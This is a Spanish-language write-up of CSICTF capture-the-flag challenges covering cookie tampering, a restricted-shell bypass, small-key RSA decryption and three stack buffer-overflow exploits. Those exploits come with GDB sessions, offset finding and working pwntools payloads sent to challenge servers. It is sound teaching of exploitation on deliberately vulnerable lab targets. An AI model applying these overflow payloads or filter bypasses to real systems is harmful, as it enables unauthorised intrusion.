CSICTF

Evento patrocinado por Bugsee, TryHackMe, Scf y Voiceflow, muy entretenido ;D.

Aquí algunos retos que pude realizar.

Web

Oreo

“My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.”

http://chall.csivit.com:30243

Nada extraño, el reto tenia una cookie con la palabra “strawberry” codificada en URL y Base64 simplemente la cambie por “Oreo”
pero no funcionó, sin embargo al cambiarlo a “chocolate” la flag fue mostrada.

Linux

AKA

Cows are following me everywhere I go. Help, I’m trapped!

nc chall.csivit.com 30611

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc chall.csivit.com 30611
user @ csictf: $
ls
________________________________________
/ Don't look at me, I'm just here to say \
\ moo. /
----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
user @ csictf: $

Este era un Reto el cual al conectarse era una vaquita que solo dice “moo” al poner comandos como ls, cat , pwd etc.
Suponiendo que esta realizando una validación de los comandos pero no de Bash hicimos lo siguiente:

1
2
3
user @ csictf: $ 
while read line; do echo $line; done < flag.txt
csictf{1_4m_cl4rk3_k3nt}

Crypto

Little RSA

The flag.zip contains the flag I am looking for but it is password protected. The password is the encrypted message which has to be correctly decrypted so I can useit to open the zip file. I tried using RSA but the zip doesn’t open by it. Can you help me get the flag please?

Files: a.txt flag.zip

Aqui daban 2 archivos, un zip que tenia una contraseña y un archivo a.txt que tenia esto:
c=32949
n=64741
e=42667

Utilizando una herramienta llamada RsaCtfTool pude realizar el reto

1
python RsaCtfTool -n 64741 -e 42667 --uncipher 32949

La contraseña era 18429:
y la flag: csictf{gr34t_m1nds_th1nk_4l1ke}

Pwn

pwn intended 0x1

Normalmente cuando hago un reto de pwn sigo estos pasos:
-Hacer un file: Para saber que tipo de binario es.
-Ejecutarlo: Para saber que hace.
-Strings: Luego muestra la contraseña o la flag.
-Pasarle muchas letras: Esto debido a que la mayoria de los retos de pwn son BufferOverflow y esperamos como respuesta un Segmentation Fault
-Revisar que controles tiene: Canary, RELO etc.
-Debuguearlo: Para ir paso a paso que hace.

Este era uno de los casos en el que la bandera salia haciendo esas pruebas. Al pasarle 200 A’s el programa pasaba por Buffer Overflow y trataba de hacer un cat a flag.txt la prueba fue echa en mi maquina pero al hacerlo en el servidor mostraba la flag.

1
2
3
4
5
6
7
8
# python -c "print('A'*200)" | ./pwn-intended-0x1
Please pour me some coffee:

Thanks!

Oh no, you spilled some coffee on the floor! Use the flag to clean it.
cat: flag.txt: No such file or directory
Segmentation fault

pwn intended 0x2

Entramos en las ligas pesadas y este era un caso en el cual no daban el codigo del binario. Al vuelo era un ELF de 64 lo ejecute y de igual manera le pase muchas A’s.

1
2
3
4
5
# python -c "print('A'*200)" | ./pwn-intended-0x2
Welcome to csictf! Where are you headed?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Safe Journey!
Segmentation fault

No nos dio la flag por lo que decide abrirlo con GDB, revisando la función main hace una comparación de una variable local con 0xcafebabe y muestra algo mediante puts… pero si no es correcto, sale del programa. Ahora al hacer la prueba nos dio Segmentation faulty eso es por que el binario utiliza gets una función vulnerable de C. Por lo que podriamos aprovecharnos de gets y sobreescribir la variable local que esta en rbp-0x4 con la que esta comparando ;D.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x0000000000401156 <+0>:	push   rbp
0x0000000000401157 <+1>: mov rbp,rsp
0x000000000040115a <+4>: sub rsp,0x30
0x000000000040115e <+8>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401165 <+15>: mov rax,QWORD PTR [rip+0x2ef4] # 0x404060 <stdout@@GLIBC_2.2.5>
0x000000000040116c <+22>: mov esi,0x0
.....LINEAS QUE NO INTERESAN...........
0x00000000004011b9 <+99>: call 0x401060 <gets@plt>
0x00000000004011be <+104>: lea rdi,[rip+0xe6c] # 0x402031
0x00000000004011c5 <+111>: call 0x401030 <puts@plt>
0x00000000004011c5 <+111>: call 0x401030 <puts@plt>
0x00000000004011ca <+116>: cmp DWORD PTR [rbp-0x4],0xcafebabe
0x00000000004011d1 <+123>: jne 0x4011f0 <main+154>
0x00000000004011d3 <+125>: lea rdi,[rip+0xe66] # 0x402040
0x00000000004011da <+132>: call 0x401030 <puts@plt>

Aqui les enseño un truco de LiveOverflow:
El utiliza hooks para poder mostrar registros en tiempo de ejecución, esto es importante por que al entrar a un frame de cada función podemos tener control de los datos que se llenan en la PILA(Stack).

Primero se ponen breakpoints donde se hace la asignación de la variable local y en donde realiza la comparación.

1
2
gdb-peda$ b *0x00000000004011ca
gdb-peda$ b *0x000000000040115e

Despues definimos el hook:

1
2
3
4
5
6
gdb-peda$ define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $rsp
>end
`

Ejecuto el programa con el comando > r en GDB. y reviso las salidas.

1
2
3
4
5
6
7
8
0x7fffffffdef0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffdf00: 0x00401200 0x00000000 0x00401070 0x00000000
0x7fffffffdf10: 0xffffe000 0x00007fff 0x00000000 0x00000000
0x7fffffffdf20: 0x00401200 0x00000000 0xf7e13e0b 0x00007fff
0x7fffffffdf30: 0x00000000 0x00000000 0xffffe008 0x00007fff
0x7fffffffdf40: 0x00040000 0x00000001 0x00401156 0x00000000

Breakpoint 1, 0x000000000040115e in main ()

Como veran la pila se ve limpia no tiene nada pero ahora si quiero saber cuanto debo sobreescribir necesito un patron eso se hace con el comando cyclicviene en pwntools cuando se instala.

1
# cyclic 200

Continuo con el programa con el comando > c en GDB y le paso el patron o payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ c
Continuing.
Welcome to csictf! Where are you headed?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Safe Journey!
0x7fffffffdef0: 0x61616161 0x61616162 0x61616163 0x61616164
0x7fffffffdf00: 0x61616165 0x61616166 0x61616167 0x61616168
0x7fffffffdf10: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0x7fffffffdf20: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0x7fffffffdf30: 0x61616171 0x61616172 0x61616173 0x61616174
0x7fffffffdf40: 0x61616175 0x61616176 0x61616177 0x61616178

Breakpoint 2, 0x00000000004011ca in main ()

Reviso la pila para ver que tiene, esto lo hace automaticamente el hook que definimos. Como recordaran la variable local se encuentra alojada en rbp-0x4, por lo tanto …….

1
2
gdb-peda$ x/wx $rbp-0x4
0x7fffffffdf1c: 0x6161616c

Con el mismo cyclic reviso el offset de ese valor.

1
2
# cyclic -l 0x6161616c
44

Vientos son 44 -> eso quiere decir que a debo rellenar la pila con 44 valores basura y despues con 0xcafebabe para que suelte la flag.

1
2
3
4
5
python -c "from pwn import *;print('A'*44 + p64(0xcafebabe))" | nc chall.csivit.com 30007
Welcome to csictf! Where are you headed?
Safe Journey!
You've reached your destination, here's a flag!
csictf{c4n_y0u_re4lly_telep0rt?}

pwn intended 0x3

El reto posiblemente mas simple.

Consistia en un binario que al igual que los 2 anteriores solicitaba una entrada de datos, conforme a los pasos descritos en 0x1 procedi a realizar la prueba

1
2
3
4
# ./pwn-intended-0x3
Welcome to csictf! Time to teleport again.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Revisando el binario nuevamente hace uso de la función gets, sin embargo tiene otra función que se llama flag que en ningún otro lado esta siendo usado, por lo que decidi aprovechar gets sobreescribir RIP y dirigirme a flag.

Esto se realiza dentro de GDB simplemente con el comando pattern_ .

1
2
3
4
5
6
gdb-peda$ pattern_create 200 pattern
gdb-peda$ r < pattern
---
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~160
[R8] --> offset 0 - size ~200

RSP se rellena con un offset de 40, esto quiere decir que podemos controlar RIP despues de esos 40:

1
2
3
4
python -c "from pwn import *;print('A'*40 + p64(0x00000000004011ce))" | nc chall.csivit.com 30013
Welcome to csictf! Time to teleport again.
Well, that was quick. Here's your flag:
csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}